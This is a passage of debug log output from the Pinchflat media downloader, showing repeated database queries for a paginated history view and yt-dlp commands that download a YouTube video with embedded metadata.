m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 22:03:38.833 [debug] QUERY OK source="sources" db=0.3ms idle=6.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:03:38.835 [info] Sent 200 in 19ms 22:03:39.834 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=ciktYlmFbfc --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/d7/dd/d7dd8018b61d33a2fe6b08f8def55ba5a0c8ccc878eaab44a9651c602d7ddb2c.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 22:03:39.835 [debug] Running yt-dlp command for action: download 22:03:39.835 [debug] QUERY OK source="settings" db=0.1ms idle=1006.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:03:39.835 [debug] QUERY OK source="settings" db=0.0ms idle=1003.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:03:39.835 [debug] QUERY OK source="settings" db=0.0ms idle=1002.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:03:39.835 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=ciktYlmFbfc --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --embed-subs --sub-langs en --embed-thumbnail --convert-thumbnail jpg --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --output /downloads/Last Meals/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/27/c9/27c9dd69f3183f112936d04551ecb6f577333dfb677e67c0514ff00722ebfc2f.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 22:03:58.820 [info] {"source":"oban","duration":1176,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:04:00.641 [info] {"source":"oban","duration":301,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:04:01.329 [debug] HANDLE EVENT "reload_page" in Pinchflat.Pages.HistoryTableLive Parameters: %{"value" => ""} 22:04:01.330 [debug] QUERY OK source="media_items" db=0.6ms queue=0.1ms idle=1269.4ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 22:04:01.332 [debug] QUERY OK source="media_items" db=1.0ms idle=1270.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 22:04:01.333 [debug] QUERY OK source="sources" db=0.2ms idle=691.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:04:01.333 [debug] Replied in 3ms 22:04:04.985 [debug] HANDLE EVENT "page_change" in Pinchflat.Pages.HistoryTableLive Parameters: %{"direction" => "inc"} 22:04:04.986 [debug] QUERY OK source="media_items" db=0.7ms queue=0.1ms idle=1925.3ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 22:04:04.988 [debug] QUERY OK source="media_items" db=0.9ms idle=1926.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 5] 22:04:04.988 [debug] QUERY OK source="sources" db=0.2ms idle=1927.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:04:04.989 [debug] Replied in 3ms 22:04:05.572 [debug] HANDLE EVENT "page_change" in Pinchflat.Pages.HistoryTableLive Parameters: %{"direction" => "inc"} 22:04:05.573 [debug] QUERY OK source="media_items" db=0.6ms queue=0.1ms idle=586.2ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 22:04:05.575 [debug] QUERY OK source="media_items" db=1.1ms idle=586.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 10] 22:04:05.576 [debug] QUERY OK source="sources" db=0.2ms idle=587.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:04:05.576 [debug] Replied in 3ms 22:04:05.984 [debug] HANDLE EVENT "page_change" in Pinchflat.Pages.HistoryTableLive Parameters: %{"direction" => "inc"} 22:04:05.985 [debug] QUERY OK source="media_items" db=0.8ms queue=0.1ms idle=938.9ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 22:04:05.986 [debug] QUERY OK source="media_items" db=1.1ms idle=925.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 15] 22:04:05.987 [debug] QUERY OK source="sources" db=0.3ms idle=413.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:04:05.987 [debug] Replied in 3ms 22:04:06.339 [debug] HANDLE EVENT "page_change" in Pinchflat.Pages.HistoryTableLive Parameters: %{"direction" => "inc"} 22:04:06.340 [debug] QUERY OK source="media_items" db=0.8ms queue=0.1ms idle=763.6ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 22:04:06.342 [debug] QUERY OK source="media_items" db=1.0ms idle=355.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 20] 22:04:06.342 [debug] QUERY OK source="sources" db=0.2ms idle=355.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:04:06.343 [debug] Replied in 3ms 22:04:06.876 [debug] HANDLE EVENT "page_change" in Pinchflat.Pages.HistoryTableLive Parameters: %{"direction" => "inc"} 22:04:06.876 [debug] QUERY OK source="media_items" db=0.4ms idle=888.7ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 22:04:06.877 [debug] QUERY OK source="media_items" db=0.7ms idle=829.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 25] 22:04:06.878 [debug] QUERY OK source="sources" db=0.1ms idle=537.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" IN (?,?)) [2, 1] 22:04:06.878 [debug] Replied in 2ms 22:04:07.452 [debug] HANDLE EVENT "page_change" in Pinchflat.Pages.HistoryTableLive Parameters: %{"direction" => "inc"} 22:04:07.453 [debug] QUERY OK source="media_items" db=0.4ms idle=1109.9ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 22:04:07.454 [debug] QUERY OK source="media_items" db=0.5ms idle=576.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN 